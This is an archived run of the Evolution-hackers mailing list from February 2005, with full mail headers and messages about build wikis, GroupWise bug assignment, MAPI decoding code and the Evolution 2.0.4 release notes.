spamfrommailing@freax.org Fri Feb 18 11:17:28 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 436FC124C2A; Fri, 18 Feb 2005 11:17:28 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id C62DD124F04 for ; Fri, 18 Feb 2005 11:17:16 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id A9582139473D; Fri, 18 Feb 2005 17:17:12 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 01045-06; Fri, 18 Feb 2005 17:17:05 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 4D644139473B; Fri, 18 Feb 2005 17:17:05 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: Rodrigo Moya Cc: gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108733383.22947.3.camel@cerler.home> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> Content-Type: text/plain Date: Fri, 18 Feb 2005 17:17:04 +0100 Message-Id: <1108743424.19638.3.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-21.1 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Information about hacking on Evolution Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 14:29 +0100, Rodrigo Moya wrote: > On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > > I've updated this wiki a bit. Stuff like debugging a running Evolution > > process has been hadded. > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS > shouldn't this better be at the Evolution wiki? > (live.gnome.org/Evolution) It's indeed a good addition to the > BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource I wouldn't object to anybody would port the mediawiki-formatted stuff on my personal wiki to the wiki-engine thats being used on gnome's wiki. So go ahead -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org From jpr@novell.com Fri Feb 18 12:03:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9E097124F1C; Fri, 18 Feb 2005 12:03:42 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 42B011249F7 for ; Fri, 18 Feb 2005 12:03:30 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Fri, 18 Feb 2005 10:03:12 -0700 From: JP Rosevear To: Evolution Hackers mailing list Cc: evolution-groupwise-maintainers@ximian.com Content-Type: text/plain Organization: Novell, Inc. Date: Fri, 18 Feb 2005 12:02:58 -0500 Message-Id: <1108746179.6456.246.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=9.2 required=5.0 tests=BAYES_20,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, SUBJ_HAS_UNIQ_ID,TRACKER_ID version=2.53 X-Spam-Level: ********* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] evolution-groupwise-maintainers Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I got this alias setup for bugzilla in case we want to assign groupwise related bugs there some how. Personally I'd prefer to keep the groupwise bugs assigned to individual components with the groupwise keyword rather than create a separate product (the GroupWise product in their now was a broken attempt at tracking some server issues) or separate component. We don't put IMAP or POP bugs in a separate component. However it is a little different in this case because we have a specific group working on these bugs and there are currently a lot of them. We could transfer the groupwise keyword bugs that aren't assigned specifically right now to evolution-groupwise-maintainers and periodically make sure the assignment is right. This would cut down the bug traffic to evolution-mail-maintainers, evolution-calendar-maintainers, etc. Thoughts? -JP -- JP Rosevear Novell, Inc. From snallagatla@novell.com Fri Feb 18 12:52:56 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 18FA912471B; Fri, 18 Feb 2005 12:52:56 -0500 (EST) Received: from Gr8-Siva.hathaway (unknown [202.88.171.168]) by lists.ximian.com (Postfix) with ESMTP id 1EEBC12424B for ; Fri, 18 Feb 2005 12:52:43 -0500 (EST) Received: by Gr8-Siva.hathaway (Postfix, from userid 0) id DBCA212982D; Fri, 18 Feb 2005 23:22:50 +0530 (IST) Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: Sivaiah Nallagatla To: JP Rosevear Cc: Evolution Hackers mailing list , evolution-groupwise-maintainers@ximian.com In-Reply-To: <1108746179.6456.246.camel@bishop.rosevear.com> References: <1108746179.6456.246.camel@bishop.rosevear.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Fri, 18 Feb 2005 23:22:50 +0530 Message-Id: <1108749170.12982.7.camel@Gr8-Siva.hathaway> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-19.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > I got this alias setup for bugzilla in case we want to assign groupwise > related bugs there some how. > > Personally I'd prefer to keep the groupwise bugs assigned to individual > components with the groupwise keyword rather than create a separate > product (the GroupWise product in their now was a broken attempt at > tracking some server issues) or separate component. We don't put IMAP > or POP bugs in a separate component. However it is a little different > in this case because we have a specific group working on these bugs and > there are currently a lot of them. We could transfer the groupwise > keyword bugs that aren't assigned specifically right now to > evolution-groupwise-maintainers and periodically make sure the > assignment is right. This would cut down the bug traffic to > evolution-mail-maintainers, evolution-calendar-maintainers, etc. > > Thoughts? This idea looks good to me though i would prefer separte product. I feel having separate product would make bug submitting easier for folks who are testing/using groupwise and avoids even the initial mails sent when new bug is filed. Going over bugzilla to find groupwise related bugs will be more painful than moving an occasional non-groupwise bug present in groupwise prodcut to evolution. Siva From lkcl@lkcl.net Fri Feb 18 17:47:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5B6B112427E; Fri, 18 Feb 2005 17:47:42 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 13A13124370 for ; Fri, 18 Feb 2005 17:47:31 -0500 (EST) Received: from lkcl.net (host81-155-76-60.range81-155.btcentralplus.com [81.155.76.60]) by open.hands.com (Postfix) with ESMTP id 2CF84C1DA; Fri, 18 Feb 2005 22:47:18 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1D2H3w-0008Tw-Si; Fri, 18 Feb 2005 22:57:28 +0000 Date: Fri, 18 Feb 2005 22:57:28 +0000 From: Luke Kenneth Casson Leighton To: MAPI Decoding , evolution-hackers@lists.ximian.com Message-ID: <20050218225728.GK13329@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=1.9 required=5.0 tests=BAYES_60,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,USER_AGENT_MUTT version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] MAPI / exch 5.5 decoding code - now in cvs Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: if anyone's interested: http://sf.net/projects/oser. http://cvs.sourceforge.net/viewcvs.py/oser/exchange5.5/exploration/ sadly, TNEF turns out to be a local cache of MAPI info. yet another awful format. exchange 5.5 MAPI encoding is sick. once i'm through with this, exchange 5.5 MAPI encoding will be used as a teaching aid / example of how NOT to roll your own RPC mechanism (which *sob* is what they've done). anyway. it's a long way off from being useable in evolution as a direct library "get-me-an-email-message" perspective, but it's a step in the right direction. l. -- -- http://lkcl.net -- From kharish@novell.com Sat Feb 19 08:40:30 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 16F7E1247BB; Sat, 19 Feb 2005 08:40:30 -0500 (EST) Received: from BLR-DSMASTER.BLR.NOVELL.COM (unknown [202.144.86.147]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "blr-dsmaster", Issuer "ISPORTAL" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 5C18912476B for ; Sat, 19 Feb 2005 08:40:16 -0500 (EST) Received: from emptyboat.blr.novell.com [164.99.152.185] by BLR-DSMASTER.BLR.NOVELL.COM; Sat, 19 Feb 2005 19:09:46 +0530 Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: Harish Krishnaswamy To: Sivaiah Nallagatla Cc: JP Rosevear , Evolution Hackers mailing list , evolution-groupwise-maintainers@ximian.com In-Reply-To: <1108749170.12982.7.camel@Gr8-Siva.hathaway> References: <1108746179.6456.246.camel@bishop.rosevear.com> <1108749170.12982.7.camel@Gr8-Siva.hathaway> Content-Type: text/plain Date: Sat, 19 Feb 2005 19:08:42 +0530 Message-Id: <1108820322.10067.4.camel@emptyboat.blr.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-19.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 23:22 +0530, Sivaiah Nallagatla wrote: >On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: >> I got this alias setup for bugzilla in case we want to assign groupwise >> related bugs there some how. >> >> Personally I'd prefer to keep the groupwise bugs assigned to individual >> components with the groupwise keyword rather than create a separate >> product (the GroupWise product in their now was a broken attempt at >> tracking some server issues) or separate component. We don't put IMAP >> or POP bugs in a separate component. However it is a little different >> in this case because we have a specific group working on these bugs and >> there are currently a lot of them. We could transfer the groupwise >> keyword bugs that aren't assigned specifically right now to >> evolution-groupwise-maintainers and periodically make sure the >> assignment is right. This would cut down the bug traffic to >> evolution-mail-maintainers, evolution-calendar-maintainers, etc. >> >> Thoughts? >This idea looks good to me though i would prefer separte product. I feel having separate >product would make bug submitting easier for folks who are testing/using >groupwise and avoids even the initial mails sent when new bug is filed. >Going over bugzilla to find groupwise related bugs will be more painful >than moving an occasional non-groupwise bug present in groupwise prodcut >to evolution. > > >Siva > I welcome this idea - actually helps us ensure that none of the bugs are missed. Currently, some of them have skipped my radar - since groupwise keyword was not mentioned in some cases and had been assigned to the product design team - forcing me to resort to look for bugs filed by the QA hackers rather than the other way round. Also, it should reduce lots of traffic for non-gw maintainers - yes. Harish From owner-evolution-hackers@skeptopotamus.ximian.com Sun Feb 20 08:52:19 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 6EC83124805; Sun, 20 Feb 2005 08:52:19 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax Secure Global eBusiness CA-1" (not verified)) by lists.ximian.com (Postfix) with ESMTP id AA7E11248B9 for ; Sun, 20 Feb 2005 08:52:05 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 76042637DD; Sun, 20 Feb 2005 08:52:05 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from jareth.dreamhost.com (jareth.dreamhost.com [66.33.198.201]) by skeptopotamus.ximian.com (Postfix) with ESMTP id 569C8637D9 for ; Sun, 20 Feb 2005 08:52:05 -0500 (EST) Received: from 192.168.1.105 (pC19EB64A.dip.t-dialin.net [193.158.182.74]) by jareth.dreamhost.com (Postfix) with ESMTP id 3A47B6B602 for ; Sun, 20 Feb 2005 05:52:03 -0800 (PST) From: Murray Cumming To: Evolution-Hackers List In-Reply-To: <1107635723.3794.56.camel@localhost.localdomain> References: <1107635723.3794.56.camel@localhost.localdomain> Content-Type: text/plain Date: Sun, 20 Feb 2005 14:52:01 +0100 Message-Id: <1108907521.6107.6.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-16.7 required=5.0 tests=BAYES_70,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: 2.10 release notes: What's new? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I sent this to desktop-devel-list but maybe the evo maintainers didn't see it. Could you add some information about what's new in Evolution for GNOME 2.10, please? Thanks. On Sat, 2005-02-05 at 21:35 +0100, Murray Cumming wrote: > It's time to think about the 2.10 release notes. > > Could GNOME maintainers please tell us about major user-visible changes > in their modules, by editing this page: > http://live.gnome.org/ReleaseNotes > or just email them to me or the release-team if necessary. > -- Murray Cumming murrayc@murrayc.com www.murrayc.com www.openismus.com From notzed@ximian.com Sun Feb 20 19:43:58 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0CB021247A2; Sun, 20 Feb 2005 19:43:58 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 6E00912422B for ; Sun, 20 Feb 2005 19:43:46 -0500 (EST) Received: (qmail 23656 invoked from network); 21 Feb 2005 00:43:45 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 21 Feb 2005 00:43:45 -0000 Subject: Re: [Evolution-hackers] Re: Information about hacking on Evolution From: Not Zed To: Rodrigo Moya Cc: spamfrommailing@freax.org, gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108733383.22947.3.camel@cerler.home> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> Content-Type: multipart/alternative; boundary="=-Q0acAGZHC2vn6Q5H+xRU" Date: Mon, 21 Feb 2005 08:38:11 +0800 Message-Id: <1108946291.24160.11.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-24.0 required=5.0 tests=BAYES_10,EMAIL_ATTRIBUTION,HTML_30_40,IN_REP_TO, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-Q0acAGZHC2vn6Q5H+xRU Content-Type: text/plain Content-Transfer-Encoding: 7bit There's an evolution wiki??? Since when? On Fri, 2005-02-18 at 14:29 +0100, Rodrigo Moya wrote: > On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > > I've updated this wiki a bit. Stuff like debugging a running Evolution > > process has been hadded. > > > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS > > > shouldn't this better be at the Evolution wiki? > (live.gnome.org/Evolution) It's indeed a good addition to the > BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource --=-Q0acAGZHC2vn6Q5H+xRU Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
There's an evolution wiki???

Since when?

On Fri, 2005-02-18 at 14:29 +0100, Rodrigo Moya wrote: 
On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote:
> I've updated this wiki a bit. Stuff like debugging a running Evolution
> process has been hadded.
> 
>     http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS
> 
shouldn't this better be at the Evolution wiki?
(live.gnome.org/Evolution) It's indeed a good addition to the
BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource
--=-Q0acAGZHC2vn6Q5H+xRU-- From owner-evolution-hackers@skeptopotamus.ximian.com Mon Feb 21 00:00:38 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 17F44124D7F; Mon, 21 Feb 2005 00:00:38 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax Secure Global eBusiness CA-1" (not verified)) by lists.ximian.com (Postfix) with ESMTP id CF4EE124D87 for ; Mon, 21 Feb 2005 00:00:15 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id A403F63B51; Sun, 20 Feb 2005 23:57:54 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id 411EE63282; Sun, 20 Feb 2005 23:57:54 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Sun, 20 Feb 2005 21:57:43 -0700 From: JP Rosevear To: evolution@ximian.com, evolution-hackers@ximian.com, gnome-announce-list@gnome.org Content-Type: text/plain; charset=utf-8 Organization: Novell, Inc. Date: Sun, 20 Feb 2005 23:57:29 -0500 Message-Id: <1108961849.9149.21.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 8bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Evolution 2.0.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: The Evolution Team exuberantly announces the release of Evolution 2.0.4. Unless any critical issues are are discovered this will be the last release in the 2.0.4 series. Download the following: http://ftp.gnome.org/pub/gnome/sources/evolution/2.0/evolution-2.0.4.tar.gz http://ftp.gnome.org/pub/gnome/sources/gtkhtml/3.2/gtkhtml-3.2.5.tar.gz http://ftp.gnome.org/pub/gnome/sources/gal/2.2/gal-2.2.5.tar.gz http://ftp.gnome.org/pub/gnome/sources/evolution-data-server/1.0/evolution-data-server-1.0.4.tar.gz http://ftp.gnome.org/pub/gnome/sources/libsoup/2.2/libsoup-2.2.2.tar.gz http://ftp.gnome.org/pub/gnome/sources/ximian-connector/2.0/ximian-connector-2.0.4.tar.gz Upgrade Notes: Evolution 2.0 is the stable version of the 1.5.x development series. It will upgrade your existing 1.4 install if you were not using 1.5 previously, but will not delete it until told to. Bug Fixes and Updates: Evolution 2.0.4, 2005-02-14 ---------------------------- Bugzilla bugs fixed (see http://bugzilla.ximian.com/show_bug.cgi): * Addressbook #36137 - Leading %s in addressbook message totally non-obvious (Siva) #70339 - vcard preview doesn't appear to work (Siva) #70622 - Crash changing gtkhtml settings (JP) #70922 - Email address types should show "Other" when importing vcards (Siva) #70540 - Adding contact from email doesn't let you change "file as" (Hans) * Calendar #41624 - only the last exception is deleted on palm device (JP) #46901 - Only one line gets printed when printing Tasks and Appointments (Yong Sun) * Mail #33933 - Sorting by subject does not result in expected order (Jeff) #70795 - Next/Previous Message Should Only Display Listed Emails (Michael) #65329 - regression in default folder name localisation (Michael) #71312 - Double-clicking vFolder of Draft folder doesn't allow editing (Michael) #71310 - Always loses my signature script settings (Michael) #71310 - Always loses my signature script settings (Michael) #69850 - Crash: attempting to create a Vfolder based on a message without a Sender (Michael) #65178 - newly created folder on local maildir doesn't show until evolution restart (Michael) #70858 - selecting newly created folder flakey (Michael) #60664 - message view does not follow theme change (Michael) #70768 - 'Mark All as Read' marks all the mails which are not in current query as read (Michael) #70563 - crash when 'load images' on MyEclipse newsletter email (Michael) #66943 - Crash when saving draft (Michael) #71105 - When trying to rename a folder containing a slash "/" and spaces, evil stuff happens (Michael) #72020 - Error parsing filter: Unknown identifier: adjust-score (Michael) #38791 - gpg can make evo hang if keyserver unreachable (Michael) #36142 - Don't use acronyms as verbs in messages (Michael) #70303 - pgp signature invalid with very short emails (Michael) #69757 - Memory leak in imap_parse_list_response (Michael) #22496 - Evolution does not appear to support ALERT messages (Michael) #71427 - Evolution does not prompt for new password (Michael) #71625 - Don't display content of e-mail when first selected (Michael) #56110 - Messages in digest displayed as source (Michael) #69024 - Doesn't update NNTP folder in a Virtual folder (Michael) #47824 - nested, identical multipart boundaries dont parse properly (Michael) #70919 - Crash during fetching mail (mail has gpg signature) (Michael) #70556 - Unable load messages info from MS Exchange by IMAP (Michael) Other bugs * Mail -64 bit fixes (Michael) * Addressbook - work around 67411 (Hans) - 64 bit fixes (Michael) - Turkish locale fixes (S.Çaglar Onur) * Calendar - fix potential resize crash (Michael) * S/MIME - don't remove the cert from the tree if it wasn't actually deleted (Michael) Updated translations: - nl (Vincent van Adrighem) - pt (Duarte Loreto) - hu (Laszlo Dvornik) - ca (Jordi Mallach) - fr (Jeremie Knuesel, Sebastien Bacher, Christophe Merlet) - sv (Christian Rose) - de (Hendrik Brandt) - id (Mohammad DAMT) - es (Francisco Javier F. Serrador) - da (Martin Willemoes Hansen) - ko (Changwoo Ryu) - zh_CN (Funda Wang) - ms (Hasbullah Bin Pit) - hu (Laszlo Dvornik) - cs (Miloslav Trmac) - ru (Leonid Kanter) - bg (Vladimir Petkov) - sq (Laurent Dhima) - en_GB (David Lodge) - pl (Artur Flinta) - sr (Danilo Segan) - sr@Latn (Danilo Segan) - en_CA (Adam Weinberger) - pt_BR (Raphael Higino) - nn (Åsmund Skjæveland) Exchange Connector 2.0.4 2005-02-14 ------------------------------------ Bugzilla bugs fixed (see http://bugzilla.ximian.com/show_bug.cgi): #70730 - connector hangs on kerberos authentication attempts (Sarfraaz) #71432 - Don't see schedule in new meeting request dialog (Sushma) #70357 - Crash: Exchange calendar query hangs Evolution (glibc gives a double-free or corruption error!) (Sarfraaz) #68330 - Exchange now crashes on start (Sarfraaz) #66963 - The trash is filtered for spam (that I just deleated) when I select (and there by open) the trashdir to do an expunge (Sarfraaz) #71469 - Menus for Connector are not Translated to French (Sarfraaz) #71555 - Label setting is not being saved across sessions (Sushma) #70283 - All-day calendar events incorrectly show as busy (Sarfraaz) #70414 - Memory corruption/build-up tracking bug (Sarfraaz) Fixes for 64 bit support (Michael Zucchi) Updated Translations: (Since 2.0.1) - bg (Alexander Shopov) - da (Martin Willemoes Hansen) - ca (Jordi Mallach) - hu (Laszlo Dvornik) Evolution Data Server 1.0.4, 2005-02-14 ---------------------------------------- Bugzilla bugs fixed (see http://bugzilla.ximian.com/show_bug.cgi): * Address Book #64298 - G/W failure to authenticate (Siva) #67541 - LDAP password not to be remembered (Siva) #66854 - Some strings are missed to translation (Rodney) #71116 - wrong gettext initialization breaks translation (Rodney) #70918 - Importing kontact vcard causes inifinite loop (Siva) * Calendar #64682 - Moving an appointment from one calendar to another sends update (Chen) #67031 - GroupWise tasks are not getting updated in any way (Chen) * All #69186 - cannot remove GAL from Autocomplete in settings (Siva) #64298 - G/W failure to authenticate (Siva) Other bugs * Calendar - warning fixes (Michael) - fix groupwise ssl usage (Harish) * Address Book - fix vcard note migration issues if containing non-ascii chars (Siva) - fix groupwise ssl usage (Harish) * All - 64 bit fixes (Michael) Updated Translations: -et (Priit Laes) -ru (Leonid Kanter) gtkhtml-3.2.5 "hispidulum" 2005-02-14 ------------------------------------------------ New in this release * Updated translations fr (Christophe Merlet) de (Hendrik Brandt) pl (Artur Flinta) nl (Vincent van Adrighem) sv (Christian Rose) ja (Takeshi AIHANA) gal-2.2.5 2005-02-14 ---------------------- Other bugs and changes: - Updated translations: it (Luca Ferretti, Alessio Frusciante Reporting Bugs If you have problems with 2.0.4, please take the time to submit the bug using Bug Buddy or at http://bugzilla.ximian.com. Try to fill in as much detail as you can regarding the circumstances that lead to the problem If you have a feature request, you can also file that at http://bugzilla.ximian.com/ don't be discouraged if you don't hear from us right away, we get hundreds of feature requests a year. You can also check if your bug has been reported before by using the search functionality of Bugzilla. More information is available at the project website: http://www.gnome.org/projects/evolution -JP -- JP Rosevear Novell, Inc. From pchenthill@novell.com Mon Feb 21 00:15:54 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ACFE112411A; Mon, 21 Feb 2005 00:15:54 -0500 (EST) Received: from yahoo.blr.novell.com (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 1447912404F for ; Mon, 21 Feb 2005 00:15:42 -0500 (EST) Received: by yahoo.blr.novell.com (Postfix, from userid 0) id 8F9B327E98; Mon, 21 Feb 2005 10:46:24 +0530 (IST) Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: chen To: Harish Krishnaswamy Cc: ls@skeptopotamus.ximian.com, JP Rosevear , Evolution Hackers mailing list , evolution-groupwise-maintainers@ximian.com In-Reply-To: <035201c5168b$92cc60a0$0301a8c0@executivesontheweb.local> References: <1108746179.6456.246.camel@bishop.rosevear.com> <1108749170.12982.7.camel@Gr8-Siva.hathaway> <035201c5168b$92cc60a0$0301a8c0@executivesontheweb.local> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Mon, 21 Feb 2005 10:46:23 +0530 Message-Id: <1108962983.22989.2.camel@yahoo.blr.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-17.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com 